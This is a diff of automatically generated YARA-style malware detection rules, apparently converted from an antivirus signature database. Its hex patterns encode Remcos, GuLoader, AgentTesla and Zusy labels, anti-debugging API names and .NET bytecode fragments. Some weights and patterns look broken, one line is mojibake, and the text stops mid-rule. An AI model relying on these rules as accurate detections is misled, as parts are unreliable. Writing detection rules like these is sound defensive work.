_InfrastructureShared_18302{ +rule _InfrastructureShared_19473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -221413,7 +235787,7 @@ rule _InfrastructureShared_18302{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*25972+(#a_00_2 & 1)*23667+(#a_65_3 & 1)*385+(#a_74_4 & 1)*29301+(#a_6f_5 & 1)*385+(#a_01_6 & 1)*28524+(#a_61_7 & 1)*26465) >=8 } -rule _InfrastructureShared_18303{ +rule _InfrastructureShared_19474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -221428,7 +235802,7 @@ rule _InfrastructureShared_18303{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26996+(#a_73_2 & 1)*26948+(#a_6f_3 & 1)*-32501+(#a_74_4 & 1)*25970+(#a_00_6 & 1)*110) >=8 } -rule _InfrastructureShared_18304{ +rule _InfrastructureShared_19475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0a 00 21 " @@ -221445,7 +235819,7 @@ rule _InfrastructureShared_18304{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*14+(#a_00_3 & 1)*32+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_5b_8 & 1)*0+(#a_00_9 & 1)*32) >=11 } -rule _InfrastructureShared_18305{ +rule _InfrastructureShared_19476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 07 00 21 " @@ -221460,7 +235834,7 @@ rule _InfrastructureShared_18305{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*117+(#a_00_2 & 1)*116+(#a_00_3 & 1)*114+(#a_65_4 & 1)*26997+(#a_00_5 & 1)*109) >=25 } -rule _InfrastructureShared_18306{ +rule _InfrastructureShared_19477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,25 00 25 00 09 00 21 " @@ -221476,7 +235850,7 @@ rule _InfrastructureShared_18306{ ((#a_53_0 & 1)*20515+(#a_6e_1 & 1)*11624+(#a_74_2 & 1)*25449+(#a_65_3 & 1)*27753+(#a_5c_4 & 1)*-29952+(#a_00_6 & 1)*68+(#a_00_8 & 1)*97) >=37 } -rule _InfrastructureShared_18307{ +rule _InfrastructureShared_19478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -221488,7 +235862,7 @@ rule _InfrastructureShared_18307{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*97+(#a_00_2 & 1)*111) >=1 } -rule _InfrastructureShared_18308{ +rule _InfrastructureShared_19479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -221504,7 +235878,7 @@ rule _InfrastructureShared_18308{ ((#a_46_0 & 1)*16675+(#a_37_1 & 1)*25442+(#a_63_2 & 1)*26213+(#a_32_3 & 1)*14381+(#a_31_4 & 1)*14386+(#a_20_5 & 1)*28265+(#a_69_6 & 1)*25441) >=1 } -rule _InfrastructureShared_18309{ +rule _InfrastructureShared_19480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -221519,7 +235893,7 @@ rule _InfrastructureShared_18309{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25205+(#a_01_2 & 1)*9216+(#a_20_3 & 1)*13616+(#a_72_4 & 1)*21569+(#a_42_6 & 1)*19968) >=1 } -rule _InfrastructureShared_18310{ +rule _InfrastructureShared_19481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -221531,7 +235905,7 @@ rule _InfrastructureShared_18310{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29808+(#a_5a_2 & 1)*16762) >=4 } -rule _InfrastructureShared_18311{ +rule _InfrastructureShared_19482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -221546,7 +235920,7 @@ rule _InfrastructureShared_18311{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*12919+(#a_2d_3 & 1)*2305+(#a_8d_4 & 1)*27391+(#a_00_5 & 1)*315+(#a_01_7 & 1)*45) >=4 } -rule _InfrastructureShared_18312{ +rule _InfrastructureShared_19483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -221560,7 +235934,7 @@ rule _InfrastructureShared_18312{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_18313{ +rule _InfrastructureShared_19484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -221575,7 +235949,7 @@ rule _InfrastructureShared_18313{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_00_3 & 1)*108+(#a_00_5 & 1)*49+(#a_54_6 & 1)*21076+(#a_6b_7 & 1)*19816) >=7 } -rule _InfrastructureShared_18314{ +rule _InfrastructureShared_19485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -221590,7 +235964,7 @@ rule _InfrastructureShared_18314{ ((#a_54_0 & 1)*18467+(#a_4b_1 & 1)*17785+(#a_6f_2 & 1)*28741+(#a_01_3 & 1)*1792+(#a_00_4 & 1)*110+(#a_00_6 & 1)*110) >=8 } -rule _InfrastructureShared_18315{ +rule _InfrastructureShared_19486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -221606,7 +235980,7 @@ rule _InfrastructureShared_18315{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*109+(#a_00_3 & 1)*109+(#a_00_4 & 1)*104+(#a_32_5 & 1)*30020+(#a_69_6 & 1)*268+(#a_2f_7 & 1)*31091) >=8 } -rule _InfrastructureShared_18316{ +rule _InfrastructureShared_19487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -221618,13 +235992,13 @@ rule _InfrastructureShared_18316{ $a_01_4 = {00 0f 01 47 65 74 43 6f 6d 6d 61 6e 64 4c 69 6e 65 57 00 00 78 5c 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 51 21 4d 54 42 00 01 00 1b 01 4b 61 63 68 6f 75 2e 46 6f 72 6d 4b 61 63 68 6f 75 2e 72 65 73 6f 75 72 63 65 73 01 00 1d 01 4e 6f 6b 6f 72 69 6d 6f 6e 6f 2e 4d 61 69 6e } //30575 $a_6d_5 = {72 65 73 6f 75 72 63 65 73 01 00 1c 01 4b 6f 6b 65 74 73 75 2e 4d 44 49 50 61 72 65 6e 74 31 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 01 4b 6f 6b 65 74 73 75 2e 4d 44 49 50 61 72 65 6e 74 32 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 01 4b 6f 6b 65 74 73 75 2e 4d 44 49 50 61 72 65 6e 74 33 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 01 4b 6f 6b 65 74 } //28486 敲潳牵散ųᰀ䬁歯瑥畳䴮䥄慐敲瑮⸱敲潳牵散ųᰀ䬁歯瑥畳䴮䥄慐敲瑮⸲敲潳牵散ųᰀ䬁歯瑥畳䴮䥄慐敲瑮⸳敲潳牵散ųᰀ䬁歯瑥 $a_4d_6 = {49 50 61 72 65 6e 74 34 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 01 4b 6f 6b 65 74 73 75 2e 4d 44 49 50 61 72 65 6e 74 35 2e 72 65 73 6f 75 } //30067 - $a_73_7 = {00 26 01 4b 6f 6b 65 74 73 75 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 28 01 67 65 74 5f 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 00 00 78 5c 01 00 0a 00 0a 00 0a 00 21 23 41 4c } //25458 - $a_61_8 = {6b 64 6f 6f 72 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 56 41 21 4d 54 42 00 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 11 81 01 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 } //14918 + $a_73_7 = {00 26 01 4b 6f 6b 65 74 73 75 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 28 01 67 65 74 5f 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 00 00 78 5c 01 00 0a 00 0a 00 09 00 21 23 48 53 } //25458 + $a_4d_8 = {49 4c 2f 5a 75 73 79 2e 44 53 4b 00 0a 00 1c 01 07 09 02 09 18 d8 18 6f 2a 00 00 0a 1f 10 28 2b 00 00 0a 9c 09 17 d6 0d 09 08 31 e4 0a 00 1c 01 07 09 02 09 18 d8 18 6f 4d 00 } //21076 condition: - ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*22090+(#a_00_2 & 1)*25455+(#a_79_3 & 1)*384+(#a_01_4 & 1)*30575+(#a_6d_5 & 1)*28486+(#a_4d_6 & 1)*30067+(#a_73_7 & 1)*25458+(#a_61_8 & 1)*14918) >=9 + ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*22090+(#a_00_2 & 1)*25455+(#a_79_3 & 1)*384+(#a_01_4 & 1)*30575+(#a_6d_5 & 1)*28486+(#a_4d_6 & 1)*30067+(#a_73_7 & 1)*25458+(#a_4d_8 & 1)*21076) >=9 } -rule _InfrastructureShared_18317{ +rule _InfrastructureShared_19488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -221632,17 +236006,35 @@ rule _InfrastructureShared_18317{ $a_54_0 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 51 21 4d 54 42 00 01 00 1b 01 4b 61 63 68 6f 75 2e 46 6f 72 6d 4b 61 63 68 6f 75 2e 72 65 73 6f 75 72 63 65 73 01 00 1d 01 4e 6f 6b 6f 72 69 6d 6f 6e 6f 2e 4d 61 69 6e 46 6f 72 6d 2e 72 65 73 6f } //18467 $a_65_1 = {01 00 1c 01 4b 6f 6b 65 74 73 75 2e 4d 44 49 50 61 72 65 6e 74 31 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 01 4b 6f 6b 65 74 73 75 2e 4d 44 49 50 61 72 65 6e 74 32 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 01 4b 6f 6b 65 74 73 75 2e 4d 44 49 50 61 72 65 6e 74 33 2e 72 65 73 6f 75 72 63 65 73 01 00 1c } //29301 $a_6b_2 = {74 73 75 2e 4d 44 49 50 61 72 65 6e 74 34 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 01 4b 6f 6b 65 74 73 75 2e 4d 44 49 50 61 72 65 6e 74 35 2e 72 65 73 6f 75 72 63 65 73 01 00 26 01 4b 6f 6b 65 74 73 75 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 28 01 67 65 74 5f 63 63 63 63 63 } //19201 - $a_63_3 = {63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 00 00 78 5c 01 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 56 41 21 4d 54 42 00 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 11 81 01 } //25443 - $a_70_4 = {74 44 65 62 75 67 53 74 72 69 6e 67 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 1a 81 01 43 68 65 63 6b 52 65 6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 09 81 01 56 61 6c 75 65 54 79 70 65 01 00 19 81 01 4e 74 51 75 65 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 01 00 16 81 01 53 72 69 76 65 } //30031 - $a_6f_5 = {6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 1f 81 01 56 65 63 74 6f 72 42 61 73 65 64 44 72 61 77 69 6e 67 2e 49 47 2e 72 65 73 6f 75 72 63 65 73 01 00 2e 81 01 57 69 6e 64 6f 77 73 46 6f 72 6d 73 41 70 70 6c 69 } //11886 - $a_69_6 = {6e 33 2e 53 74 75 64 65 6e 74 73 46 65 65 2e 72 65 73 6f 75 72 63 65 73 01 00 31 81 01 56 65 63 74 6f 72 42 61 73 65 64 44 72 61 77 69 6e 67 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 5d 01 00 01 00 01 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f } //24931 - $a_5f_7 = {55 49 44 5f 52 61 6e 64 6f 6d 5f 43 53 68 61 72 70 54 6f 6f 6c 73 00 01 00 24 80 01 66 37 66 63 31 39 64 61 2d 36 37 61 33 2d 34 33 37 64 2d 62 33 62 30 2d 32 61 32 35 37 66 37 37 61 30 30 62 01 00 24 80 01 34 37 65 38 35 62 62 36 2d 39 31 33 38 2d 34 } //17742 - $a_2d_8 = {30 39 32 2d 30 61 65 62 33 30 31 66 65 36 34 62 01 00 24 80 01 63 37 64 38 35 34 64 38 2d 34 65 33 61 2d 34 33 61 36 2d 38 37 32 66 2d 65 30 37 31 30 65 35 } //14131 + $a_63_3 = {63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 00 00 78 5c 01 00 0a 00 0a 00 09 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 5a 75 73 79 2e 44 53 4b 00 0a 00 1c 01 07 09 02 09 18 d8 18 6f 2a 00 00 0a 1f 10 28 2b 00 00 0a 9c 09 17 d6 0d 09 08 31 e4 0a 00 1c 01 07 09 02 09 } //25443 + $a_6f_4 = {00 00 0a 1f 10 28 4e 00 00 0a 9c 09 17 d6 0d 09 08 31 e4 0a 00 1c 01 07 } //-10216 + $a_02_5 = {09 18 6f 40 00 00 0a 1f 10 28 41 00 00 0a 9c 09 18 d6 0d 09 08 31 e4 0a 00 21 01 08 11 04 02 11 04 18 d8 18 6f 4d 00 00 0a 1f 10 28 4e 00 00 0a 9c 11 04 17 d6 13 04 11 04 09 31 df 0a 00 21 01 08 11 04 03 11 04 18 d8 18 6f 55 00 00 0a 1f 10 28 56 00 00 0a 9c 11 04 17 d6 13 } //6153 + $a_09_6 = {31 df 0a 00 } //4356 + $a_11_7 = {03 11 04 18 d8 18 6f 53 } //289 + $a_1f_8 = {28 54 00 00 0a 9c 11 04 17 d6 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_6b_2 & 1)*19201+(#a_63_3 & 1)*25443+(#a_70_4 & 1)*30031+(#a_6f_5 & 1)*11886+(#a_69_6 & 1)*24931+(#a_5f_7 & 1)*17742+(#a_2d_8 & 1)*14131) >=9 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_6b_2 & 1)*19201+(#a_63_3 & 1)*25443+(#a_6f_4 & 1)*-10216+(#a_02_5 & 1)*6153+(#a_09_6 & 1)*4356+(#a_11_7 & 1)*289+(#a_1f_8 & 1)*0) >=9 } -rule _InfrastructureShared_18318{ +rule _InfrastructureShared_19489{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 5a 75 73 79 2e 44 53 4b 00 0a 00 1c 01 07 09 02 09 18 d8 18 6f 2a 00 00 0a 1f 10 28 2b 00 00 0a 9c 09 17 d6 0d 09 08 31 e4 0a 00 1c 01 07 09 02 09 18 d8 18 6f 4d 00 00 0a 1f 10 28 4e 00 00 0a 9c 09 17 d6 0d 09 08 31 e4 0a 00 1c 01 } //18467 + $a_5b_1 = {09 18 6f 40 00 00 0a 1f 10 28 41 00 00 0a 9c 09 18 d6 0d 09 08 31 e4 0a } //2311 + $a_08_2 = {11 } //8448 + $a_04_3 = {18 d8 18 6f 4d 00 00 0a 1f 10 28 4e 00 00 0a 9c 11 } //516 + $a_13_4 = {11 04 09 31 df 0a 00 21 01 08 11 04 03 11 04 18 d8 18 6f 55 00 00 0a 1f 10 28 56 00 00 0a 9c 11 04 17 d6 13 04 11 04 09 31 df 0a 00 21 01 08 11 04 03 11 04 18 d8 18 6f 53 00 00 0a 1f 10 28 54 00 00 0a 9c 11 04 17 d6 13 04 11 04 09 31 df 0a 00 21 01 08 11 04 03 11 04 18 d8 18 6f 54 00 00 0a 1f 10 28 55 00 00 0a 9c 11 04 17 d6 13 04 11 04 09 31 df 0a 00 21 01 08 11 04 02 11 04 18 d8 18 6f 4f 00 00 0a 1f 10 28 50 00 00 0a 9c 11 04 17 d6 13 04 11 04 09 31 df 0a 00 22 01 08 11 05 18 5b 07 11 05 18 6f 2f 00 00 0a 1f 10 28 30 00 00 0a 9c 11 05 18 d6 13 05 11 05 11 04 31 de 00 00 78 5c 01 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 42 61 63 6b 64 } //5892 + $a_3a_5 = {53 49 4c 2f 52 65 6d 63 6f 73 2e 56 41 21 4d 54 42 00 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 11 81 01 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 1a 81 01 43 68 65 63 6b 52 65 6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 } //28527 + $a_56_6 = {6c } //-32503 l + $a_79_7 = {65 01 00 19 81 01 4e 74 51 75 65 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 01 00 16 81 01 53 72 69 76 65 6e 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 1f 81 01 56 65 63 74 6f 72 42 61 73 65 64 44 72 61 77 69 6e 67 2e 49 47 } //25973 + $a_73_8 = {75 72 63 65 73 01 00 2e 81 01 57 69 6e 64 6f 77 73 46 6f 72 6d 73 41 70 70 6c 69 63 61 74 69 6f 6e 33 2e 53 74 75 64 65 6e 74 73 46 65 65 2e 72 65 73 6f 75 72 63 65 73 01 00 31 81 01 56 65 63 74 6f 72 42 61 73 65 64 44 72 61 77 69 6e 67 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e } //29230 + condition: + ((#a_54_0 & 1)*18467+(#a_5b_1 & 1)*2311+(#a_08_2 & 1)*8448+(#a_04_3 & 1)*516+(#a_13_4 & 1)*5892+(#a_3a_5 & 1)*28527+(#a_56_6 & 1)*-32503+(#a_79_7 & 1)*25973+(#a_73_8 & 1)*29230) >=10 + +} +rule _InfrastructureShared_19490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -221650,18 +236042,36 @@ rule _InfrastructureShared_18318{ $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 56 41 21 4d 54 42 00 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 11 81 01 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 01 00 0e 81 } //16675 $a_72_1 = {75 61 6c 50 72 6f 74 65 63 74 01 00 1a 81 01 43 68 65 63 6b 52 65 6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 09 81 01 56 61 6c 75 65 54 79 70 65 01 00 19 81 01 4e 74 51 75 65 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 01 00 16 81 01 53 72 69 76 65 6e 2e 46 6f 72 6d 31 2e 72 65 } //22017 $a_72_2 = {65 73 01 00 1f 81 01 56 65 63 74 6f 72 42 61 73 65 64 44 72 61 77 69 6e 67 2e 49 47 2e 72 65 73 6f 75 72 63 65 73 01 00 2e 81 01 57 69 6e 64 6f 77 73 46 6f 72 6d 73 41 70 70 6c 69 63 61 74 69 6f 6e 33 2e 53 74 75 64 65 6e 74 73 46 65 65 2e 72 65 73 6f 75 72 63 65 73 01 00 31 81 01 56 65 63 74 6f 72 42 61 73 65 64 44 72 61 77 69 6e 67 2e 50 72 6f 70 } //28531 - $a_69_3 = {73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 5d 01 00 01 00 01 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 52 61 6e 64 6f 6d 5f 43 53 68 61 72 70 54 6f 6f 6c 73 00 01 00 24 80 01 66 37 66 63 31 39 64 61 2d 36 37 61 33 2d 34 33 37 64 2d 62 33 62 30 2d } //29285 - $a_35_4 = {66 37 37 61 30 30 62 01 00 24 80 01 34 37 65 38 35 62 62 36 2d 39 31 33 38 2d 34 33 37 34 2d 38 30 39 32 2d 30 61 65 62 33 30 31 66 65 36 34 62 01 00 } //24882 - $a_63_5 = {64 } //-32732 d - $a_64_6 = {2d 34 65 33 61 2d 34 33 61 36 2d 38 37 32 66 2d 65 30 37 31 30 65 35 39 34 33 66 37 01 00 24 80 01 64 36 36 38 35 34 33 30 2d 38 64 38 64 2d 34 65 32 65 2d } //13624 - $a_32_7 = {64 65 31 34 65 66 61 32 35 32 31 31 01 00 24 80 01 31 64 66 39 32 35 66 63 2d 39 61 38 39 2d 34 31 37 30 2d 62 37 36 33 2d 31 63 37 33 35 34 33 } //12898 - $a_64_8 = {01 00 24 80 01 38 31 37 63 63 36 31 62 2d 38 34 37 31 2d 34 63 31 65 2d 62 35 64 36 2d 63 37 35 34 66 63 35 35 30 61 30 33 01 00 24 80 01 36 30 31 31 36 36 31 33 2d } //25136 - $a_65_9 = {34 31 62 39 2d 62 38 30 65 2d 33 35 65 30 32 66 32 35 38 39 31 65 00 00 78 5d 01 00 01 00 01 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 } //14179 + $a_69_3 = {73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 5c 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4e 30 31 21 4d 54 42 00 01 00 16 81 01 53 69 6c 76 65 72 6e 65 73 73 5c 68 79 6c 64 65 62 72 72 65 74 73 01 00 24 81 01 74 75 74 65 6c 61 72 73 5c 70 65 63 } //29285 + $a_69_4 = {72 61 6e 63 68 5c 54 61 6c 65 68 72 65 6c 72 65 72 65 73 01 00 15 81 01 63 68 69 63 6b 65 6e 73 68 69 74 5c 73 75 62 75 6c 61 74 65 64 01 00 1d 81 01 57 68 69 6e 6e 65 6c 5c 53 6d 61 73 68 65 6e 65 5c 73 61 6d 6c 65 62 61 61 6e 64 65 74 01 00 1b 81 01 5c 62 61 6c 61 63 68 6f 6e 67 5c 65 76 69 67 68 65 64 73 6b 61 6c 65 6e 64 65 } //26996 + $a_6e_6 = {73 70 69 72 65 6e 5c 61 6e 74 72 6f 70 6f 6c 6f 67 69 65 6e 01 00 23 81 01 45 6e 64 65 61 72 6d 65 6e 74 5c 64 69 73 70 72 6f 76 65 72 5c 72 61 61 64 73 68 65 72 72 65 72 6e 65 73 01 00 11 81 01 66 72 61 6b 74 69 6f 6e 65 72 69 6e 67 2e 70 75 72 01 00 1d 81 01 72 65 69 63 68 73 6c 61 6e 64 20 66 6f 64 62 79 20 62 6c 61 6e 64 69 } //25089 + $a_65_7 = {74 01 00 0b 81 01 65 6b 73 74 61 74 69 73 6b 65 73 00 00 78 5d 01 00 01 00 01 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 52 61 6e 64 6f 6d 5f 43 53 68 61 72 70 54 6f 6f 6c 73 00 01 00 24 80 01 66 37 66 63 31 39 64 61 2d 36 37 61 33 2d 34 33 37 64 2d 62 33 } //26739 + $a_32_8 = {32 35 37 66 37 37 61 30 30 62 01 00 24 80 01 34 37 65 38 35 62 62 36 2d 39 31 33 38 2d 34 33 37 34 2d 38 30 39 32 2d 30 61 65 62 33 30 } //12386 + $a_36_9 = {62 01 00 24 80 01 63 37 64 38 35 34 64 38 2d 34 65 33 61 2d 34 33 61 36 2d 38 37 32 66 2d 65 30 37 31 30 65 35 39 34 33 66 37 01 00 24 80 01 64 36 36 38 35 34 33 30 2d 38 64 38 64 2d 34 65 32 65 2d 62 32 30 32 2d 64 65 31 34 65 66 61 32 35 32 31 31 01 00 24 80 01 31 64 66 39 32 35 66 63 2d 39 61 38 39 } //26161 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*22017+(#a_72_2 & 1)*28531+(#a_69_3 & 1)*29285+(#a_35_4 & 1)*24882+(#a_63_5 & 1)*-32732+(#a_64_6 & 1)*13624+(#a_32_7 & 1)*12898+(#a_64_8 & 1)*25136+(#a_65_9 & 1)*14179) >=10 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*22017+(#a_72_2 & 1)*28531+(#a_69_3 & 1)*29285+(#a_69_4 & 1)*26996+(#a_6e_6 & 1)*25089+(#a_65_7 & 1)*26739+(#a_32_8 & 1)*12386+(#a_36_9 & 1)*26161) >=10 } -rule _InfrastructureShared_18319{ +rule _InfrastructureShared_19491{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 4e 30 31 21 4d 54 42 00 01 00 16 81 01 53 69 6c 76 65 72 6e 65 73 73 5c 68 79 6c 64 65 62 72 72 65 74 73 01 00 24 81 01 74 75 74 65 6c 61 72 73 5c 70 65 63 74 69 6e 69 62 72 } //18467 + $a_68_1 = {54 61 6c 65 68 72 65 6c 72 65 72 65 73 01 00 15 81 01 63 68 69 63 6b 65 6e 73 68 69 74 5c 73 75 62 75 6c 61 74 65 64 01 00 1d 81 01 57 68 69 6e 6e 65 6c 5c 53 6d 61 73 68 65 6e 65 5c 73 61 6d 6c 65 62 61 61 6e 64 65 74 01 00 1b 81 01 5c 62 61 6c 61 63 68 6f 6e 67 5c 65 76 69 67 68 65 64 73 6b 61 } //28257 + $a_64_2 = {72 01 00 18 81 01 62 6e 6e 65 73 70 69 72 65 6e 5c 61 6e 74 72 6f 70 6f 6c 6f 67 69 65 6e 01 00 23 81 01 45 6e 64 65 61 72 6d 65 6e 74 5c 64 69 73 70 72 6f 76 65 72 5c 72 61 61 64 73 68 65 72 72 65 72 6e 65 73 01 00 11 81 01 66 72 61 6b 74 69 6f 6e 65 72 69 6e 67 2e 70 75 72 01 00 1d 81 01 72 65 69 63 68 73 6c 61 6e 64 20 66 6f } //25964 + $a_20_3 = {6c 61 6e 64 69 73 68 6d 65 6e 74 01 00 0b 81 01 65 6b 73 74 61 74 69 73 6b 65 73 00 00 78 5d 01 00 01 00 01 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 52 61 6e 64 6f 6d 5f 43 53 68 61 72 70 54 6f 6f 6c 73 00 01 00 24 80 01 66 37 66 63 31 39 64 61 2d 36 37 61 33 2d 34 33 37 64 2d 62 33 62 30 } //25188 + $a_32_4 = {37 66 37 37 61 30 30 62 01 00 24 80 01 34 37 65 38 35 62 62 36 2d 39 31 33 38 2d 34 33 37 34 2d 38 30 39 32 2d 30 61 65 62 33 30 31 66 65 36 34 62 01 00 24 80 01 63 37 64 38 35 34 64 38 2d 34 65 33 61 2d 34 33 61 36 2d 38 37 32 66 2d 65 30 37 31 30 65 35 39 34 33 66 37 01 00 24 80 01 64 36 } //12845 + $a_34_5 = {30 2d 38 64 38 64 2d 34 65 32 65 2d 62 32 30 32 2d 64 65 31 34 65 66 61 32 35 32 31 31 01 00 24 80 01 31 64 66 39 32 35 66 63 2d 39 61 38 39 2d 34 31 37 30 2d } //14390 + $a_33_6 = {31 63 37 33 35 34 33 30 62 37 64 30 01 00 24 80 01 38 31 37 63 63 36 31 62 2d 38 34 37 31 2d 34 63 31 65 2d 62 35 64 36 2d 63 37 35 34 66 63 35 35 30 61 30 33 01 } //14178 + $a_01_7 = 